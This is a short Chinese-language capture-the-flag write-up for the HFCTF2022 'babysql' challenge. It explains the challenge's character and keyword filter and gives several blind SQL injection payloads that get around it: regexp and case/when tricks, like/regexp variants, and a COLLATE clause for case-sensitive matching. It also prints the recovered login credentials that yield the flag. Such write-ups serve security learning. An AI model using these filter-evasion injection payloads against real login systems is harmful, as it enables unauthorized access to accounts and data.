HFCTF2022-babysql

HFCTF2022-babysql

这个题目的过滤:

const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();

其实就是

  1. 不能使用()
  2. 不能使用* - ; # (限制了空格绕过和注释)
  3. 不能使用空白符 (其实结合2就是直接将空格的绕过给限制死了)
  4. 不能使用逗号, (限制了substr(string from int1 for int2)的字符串截取绕过)
  5. 不能使用union (防止了联合注入建立虚表使用自定义密码)
  6. 不能使用binary(限制了binary regexp这个匹配大小写的正则匹配)

最后我使用的是

username='||case'1'=`password`regexp'+payload+'when'1'then'1'else'0'end+1||'&password=1

但也没检测出大小写, 最后还是使用了爆破(2^18), tcltcl

看到其他师傅WP中的payload(需要爆破):

username=a'||`password`like'+payload+%'and`id`='1'||`password`regexp'[&password=1
username=a'||`password`regexp'^+paylaod+'and`id`='1'or`password`regexp'^[&password=1

实际上官方应该是让我们给出区分大小写的注入方法,这里再放一个其他师傅的payload:

username=a'||`password`COLLATE'utf8mb4_0900_as_cs'like'+payload+%'&&`id`='1'||`password`regexp'[&password=1

最后得到payload:

username=qay8tefyzc67aeoo&password=m52FPlDxYyLB^eIzAr!8gxh$

输入直接得到flag

另外在HFCTF2022坐牢复现里面有提到另一种可以成功检测大小写的方法,之前还看到过具体写法的不过可惜没记下来

image-20220413203552269

wp脚本可参考jacko大神的虎符CTF

posted @ 2022-04-25 12:36  h0cksr  阅读(238)  评论(0编辑  收藏  举报